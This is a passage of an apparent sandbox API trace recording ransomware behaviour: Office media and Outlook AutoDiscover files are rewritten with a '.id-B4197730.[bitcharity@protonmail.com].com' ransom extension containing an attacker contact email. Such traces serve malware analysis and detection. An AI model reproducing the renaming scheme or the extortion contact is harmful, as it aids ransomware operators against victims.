(lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Media\\LYNC_dtmfpound.wav.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\media\\lync_dtmfpound.wav.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.482] CloseHandle (hObject=0x1278) returned 1 [0267.484] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0267.484] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0267.484] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Media\\LYNC_dtmfstar.wav.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\media\\lync_dtmfstar.wav.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.484] CloseHandle (hObject=0x1278) returned 1 [0267.485] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0267.485] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0267.485] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Media\\LYNC_fastbusy.wav.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\media\\lync_fastbusy.wav.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.485] CloseHandle (hObject=0x1278) returned 1 [0267.486] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0267.487] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0267.487] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Media\\LYNC_fsringing.wav.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\media\\lync_fsringing.wav.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.487] CloseHandle (hObject=0x1278) returned 1 [0267.488] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0267.488] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0267.488] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Media\\LYNC_howler.wav.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\media\\lync_howler.wav.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.488] CloseHandle (hObject=0x1278) returned 1 [0267.490] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0267.490] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0267.490] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Media\\LYNC_iminvite.wav.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\media\\lync_iminvite.wav.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.490] CloseHandle (hObject=0x1278) returned 1 [0267.492] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0267.492] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0267.492] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Media\\LYNC_joinedconference.wav.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\media\\lync_joinedconference.wav.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.492] CloseHandle (hObject=0x1278) returned 1 [0267.493] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0267.493] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0267.493] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Media\\LYNC_muting.wav.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\media\\lync_muting.wav.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.493] CloseHandle (hObject=0x1278) returned 1 [0267.495] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0267.495] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0267.495] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Media\\LYNC_newim.wav.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\media\\lync_newim.wav.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.495] CloseHandle (hObject=0x1278) returned 1 [0267.496] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0267.496] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0267.496] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Media\\LYNC_onhold.wav.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\media\\lync_onhold.wav.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.497] CloseHandle (hObject=0x1278) returned 1 [0267.497] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0267.498] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0267.498] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Media\\LYNC_presence.wav.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\media\\lync_presence.wav.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.498] CloseHandle (hObject=0x1278) returned 1 [0267.499] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0267.499] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0267.499] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Media\\LYNC_redirect.wav.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\media\\lync_redirect.wav.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.499] CloseHandle (hObject=0x1278) returned 1 [0268.168] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0268.168] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0268.168] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Media\\LYNC_ringback.wav.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\media\\lync_ringback.wav.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.168] CloseHandle (hObject=0x1078) returned 1 [0268.402] SetFilePointerEx (in: hFile=0x1104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0268.402] SetFilePointerEx (in: hFile=0x1104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0268.402] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OutlookAutoDiscover\\YAHOO.COM.BR.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\outlookautodiscover\\yahoo.com.br.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.402] CloseHandle (hObject=0x1104) returned 1 [0268.403] SetFilePointerEx (in: hFile=0x1104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0268.404] SetFilePointerEx (in: hFile=0x1104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0268.404] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OutlookAutoDiscover\\YAHOO.COM.CN.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\outlookautodiscover\\yahoo.com.cn.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.404] CloseHandle (hObject=0x1104) returned 1 [0268.405] SetFilePointerEx (in: hFile=0x1104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0268.405] SetFilePointerEx (in: hFile=0x1104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0268.405] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OutlookAutoDiscover\\YAHOO.COM.HK.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\outlookautodiscover\\yahoo.com.hk.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.405] CloseHandle (hObject=0x1104) returned 1 [0268.406] SetFilePointerEx (in: hFile=0x1104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0268.406] SetFilePointerEx (in: hFile=0x1104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0268.406] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OutlookAutoDiscover\\YAHOO.COM.MX.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\outlookautodiscover\\yahoo.com.mx.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.406] CloseHandle (hObject=0x1104) returned 1 [0268.407] SetFilePointerEx (in: hFile=0x1104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0268.407] SetFilePointerEx (in: hFile=0x1104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0268.407] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OutlookAutoDiscover\\YAHOO.COM.MY.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\outlookautodiscover\\yahoo.com.my.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.407] CloseHandle (hObject=0x1104) returned 1 [0268.409] SetFilePointerEx (in: hFile=0x1104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0268.409] SetFilePointerEx (in: hFile=0x1104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0268.409] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OutlookAutoDiscover\\YAHOO.COM.PH.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\outlookautodiscover\\yahoo.com.ph.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.409] CloseHandle (hObject=0x1104) returned 1 [0268.410] SetFilePointerEx (in: hFile=0x1104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0268.410] SetFilePointerEx (in: hFile=0x1104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0268.410] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OutlookAutoDiscover\\YAHOO.COM.SG.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\outlookautodiscover\\yahoo.com.sg.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.410] CloseHandle (hObject=0x1104) returned 1 [0268.411] SetFilePointerEx (in: hFile=0x1104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0268.411] SetFilePointerEx (in: hFile=0x1104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0268.411] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OutlookAutoDiscover\\YAHOO.COM.TW.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\outlookautodiscover\\yahoo.com.tw.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.411] CloseHandle (hObject=0x1104) returned 1 [0268.412] SetFilePointerEx (in: hFile=0x1104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0268.412] SetFilePointerEx (in: hFile=0x1104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0268.412] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OutlookAutoDiscover\\YAHOO.COM.VN.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\outlookautodiscover\\yahoo.com.vn.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.412] CloseHandle (hObject=0x1104) returned 1 [0268.414] SetFilePointerEx (in: hFile=0x1104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0268.414] SetFilePointerEx (in: hFile=0x1104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0268.414] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OutlookAutoDiscover\\YAHOO.COM.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\outlookautodiscover\\yahoo.com.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.414] CloseHandle (hObject=0x1104) returned 1 [0268.415] SetFilePointerEx (in: hFile=0x1104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0268.415] SetFilePointerEx (in: hFile=0x1104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0268.415] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OutlookAutoDiscover\\YAHOO.DE.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\outlookautodiscover\\yahoo.de.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.415] CloseHandle (hObject=0x1104) returned 1 [0268.419] SetFilePointerEx (in: hFile=0x1104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0268.419] SetFilePointerEx (in: hFile=0x1104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0268.419] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OutlookAutoDiscover\\YAHOO.ES.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\outlookautodiscover\\yahoo.es.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.419] CloseHandle (hObject=0x1104) returned 1 [0268.423] SetFilePointerEx (in: hFile=0x1104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0268.424] SetFilePointerEx (in: hFile=0x1104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0268.424] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OutlookAutoDiscover\\YAHOO.FR.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\outlookautodiscover\\yahoo.fr.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.424] CloseHandle (hObject=0x1104) returned 1 [0268.425] SetFilePointerEx (in: hFile=0x1104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0268.425] SetFilePointerEx (in: hFile=0x1104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0268.425] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OutlookAutoDiscover\\YAHOO.HK.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\outlookautodiscover\\yahoo.hk.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.425] CloseHandle (hObject=0x1104) returned 1 [0268.427] SetFilePointerEx (in: hFile=0x1104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0268.427] SetFilePointerEx (in: hFile=0x1104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0268.427] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OutlookAutoDiscover\\YAHOO.IE.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\outlookautodiscover\\yahoo.ie.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.427] CloseHandle (hObject=0x1104) returned 1 [0268.428] SetFilePointerEx (in: hFile=0x1104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0268.428] SetFilePointerEx (in: hFile=0x1104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0268.428] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OutlookAutoDiscover\\YAHOO.IT.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\outlookautodiscover\\yahoo.it.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.428] CloseHandle (hObject=0x1104) returned 1 [0268.429] SetFilePointerEx (in: hFile=0x1104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0268.429] SetFilePointerEx (in: hFile=0x1104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0268.429] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OutlookAutoDiscover\\YAHOO.JP.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\outlookautodiscover\\yahoo.jp.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.430] CloseHandle (hObject=0x1104) returned 1 [0268.430] SetFilePointerEx (in: hFile=0x1104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0268.430] SetFilePointerEx (in: hFile=0x1104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0268.430] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OutlookAutoDiscover\\YAHOO.NO.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\outlookautodiscover\\yahoo.no.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.430] CloseHandle (hObject=0x1104) returned 1 [0268.431] SetFilePointerEx (in: hFile=0x1104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0268.431] SetFilePointerEx (in: hFile=0x1104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0268.431] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OutlookAutoDiscover\\YAHOO.PL.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\outlookautodiscover\\yahoo.pl.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.431] CloseHandle (hObject=0x1104) returned 1 [0268.433] SetFilePointerEx (in: hFile=0x1104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0268.433] SetFilePointerEx (in: hFile=0x1104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0268.433] 